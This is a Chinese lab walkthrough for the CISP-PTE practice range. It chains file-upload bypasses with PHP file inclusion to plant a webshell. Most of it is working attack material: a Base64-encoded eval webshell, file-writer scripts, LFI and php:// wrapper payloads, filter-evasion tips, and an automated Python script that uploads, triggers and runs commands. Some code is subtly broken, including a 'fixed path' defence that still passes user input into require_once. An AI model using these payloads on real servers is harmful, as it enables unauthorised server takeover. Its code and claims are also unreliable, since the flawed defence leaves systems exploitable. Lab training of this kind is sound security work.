CISP-PTE靶场通关笔记:文件上传绕过与文件包含漏洞的另类组合拳
2026/6/10 12:09:32 网站建设 项目流程

CISP-PTE靶场通关笔记:文件上传与文件包含的协同攻击艺术

在渗透测试的实战中,真正的威胁往往来自于多个漏洞的巧妙组合。CISP-PTE认证考试中,文件上传和文件包含这两个看似独立的漏洞,当它们被串联起来时,能够形成一条隐蔽而高效的后门通道。本文将揭示如何通过"迂回战术"突破严格的内容过滤机制,实现服务器控制。

1. 漏洞组合攻击的核心思路

传统的文件上传漏洞利用往往止步于直接上传Webshell,但在实际环境中,越来越多的系统开始采用内容检测机制。当遇到以下防御措施时,单独的文件上传攻击可能失效:

  • 代码关键词检测:过滤evalsystem等危险函数
  • 文件头校验:检查文件幻数(如GIF89a)
  • 二次渲染:对上传图片进行重新压缩处理

此时,文件包含漏洞可以成为突破防线的第二把钥匙。我们的攻击链设计如下:

  1. 上传一个"无害"的PHP文件写入器
  2. 通过文件包含漏洞触发该脚本
  3. 写入真正的Webshell到可访问目录
  4. 获得持久化访问权限

这种"分步走"策略能有效绕过大多数内容检测机制,因为每个步骤单独看起来都不具备直接威胁性。

2. 文件上传阶段的迂回策略

2.1 构造文件写入器

当直接上传包含恶意代码的文件被拦截时,可以改用以下PHP脚本作为"写入器":

<?php $filename = 'cache.php'; // 伪装成缓存文件 $content = base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4='); file_put_contents($filename, $content); ?>

这个脚本的特点:

  • 不包含敏感函数:没有直接使用evalassert
  • 使用Base64编码:隐藏实际写入内容
  • 伪装文件名:使用cache.php等常见名称

2.2 上传技巧与规避检测

在实际靶场环境中,上传功能可能还有以下限制:

限制类型绕过方法示例
扩展名检查使用双扩展名test.php.jpg
MIME类型检测修改Content-Type头image/jpeg
文件大小限制保持脚本最小体积精简代码到100字节以内
文件名随机化批量上传增加命中率连续上传20次相同文件

提示:在CISP-PTE靶场中,文件名通常会被MD5哈希处理,建议使用脚本自动化批量上传和后续的路径爆破。

3. 文件包含漏洞的深度利用

3.1 定位包含点

文件包含漏洞通常出现在以下位置:

  • 模板加载功能(如?page=about
  • 本地文件引用(如/include/header.php
  • 日志文件读取(如/var/log/apache2/access.log

在靶场环境中,尝试以下测试payload:

/index.php?file=../../../../etc/passwd /index.php?page=php://filter/convert.base64-encode/resource=index

3.2 伪协议的创造性使用

PHP的伪协议是文件包含利用中的瑞士军刀:

// 读取文件内容 php://filter/read=convert.base64-encode/resource=config.php // 写入临时文件 php://temp/write=<?php phpinfo();?> // 执行编码后的代码 php://input POST数据:<?php system('id');?>

在组合攻击中,我们特别关注php://filter的写入能力:

http://target.com/include.php?file=php://filter/write=convert.base64-decode/resource=shell.php

这个技巧可以绕过某些写文件时的字符过滤。

4. 组合攻击实战演示

4.1 完整攻击链构建

让我们将两个漏洞串联起来:

  1. 上传阶段

    • 上传文件writer.php,内容为:
      <?php file_put_contents('x.php', '<?=`$_GET[0]`?>');
  2. 包含触发

    /index.php?module=uploads/writer.php
  3. 验证执行

    /uploads/x.php?0=id

4.2 自动化脚本实现

以下Python脚本实现了自动化攻击流程:

import requests import hashlib TARGET = "http://ptechallenge.com" # 步骤1:上传文件写入器 upload_data = { 'file': ('writer.php', '<?php file_put_contents("s.php","<?=eval($_POST[0])?>");?>') } requests.post(TARGET+"/upload.php", files=upload_data) # 步骤2:爆破上传路径 for i in range(1000): filename = f"writer{i}.php" md5 = hashlib.md5(filename.encode()).hexdigest() url = f"{TARGET}/uploads/{md5}.php" resp = requests.get(url) if resp.status_code == 200: # 步骤3:触发文件包含 requests.get(f"{TARGET}/index.php?include={url}") # 步骤4:验证webshell resp = requests.post(f"{TARGET}/uploads/s.php", data={'0':'system("whoami");'}) print(resp.text) break

4.3 防御规避进阶技巧

当遇到更严格的防御时,可以尝试以下方法:

  • 分块写入:将Webshell分成多个部分写入
  • 动态生成:利用PHP的${}变量变量特性
  • 环境依赖:检查$_SERVER变量寻找可写目录
  • 临时文件:利用php://temp/tmp目录

5. 防御措施与检测方法

5.1 针对文件上传的加固

  • 内容检测:使用静态分析工具检查上传文件
    # 使用clamav扫描上传文件 clamscan --infected --remove /var/www/uploads/
  • 权限控制
    • 上传目录禁用PHP执行
    • 设置正确的文件所有者

5.2 文件包含漏洞防护

  • 白名单机制:限制包含文件的范围
    $allowed = ['home','about','contact']; if(!in_array($_GET['page'], $allowed)) { die('Invalid page request'); }
  • 路径固定:避免动态包含
    require_once __DIR__.'/templates/'.$_GET['page'].'.php';

5.3 监控与日志分析

关键日志监控点:

  • 异常的文件包含请求(如../../../
  • 上传目录中的PHP文件创建
  • 非常规的文件访问模式
# 示例ELK查询语句 event.dataset:apache.access AND ( url.path:/wp-admin/admin-ajax.php AND url.query:action=upload AND http.response.status_code:200 )

在靶场练习中,这种组合攻击方式展现了渗透测试中"横向思维"的重要性。真正的安全威胁往往不在于单个漏洞的严重性,而在于攻击者如何将多个看似无关的弱点串联起来形成完整的攻击链。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询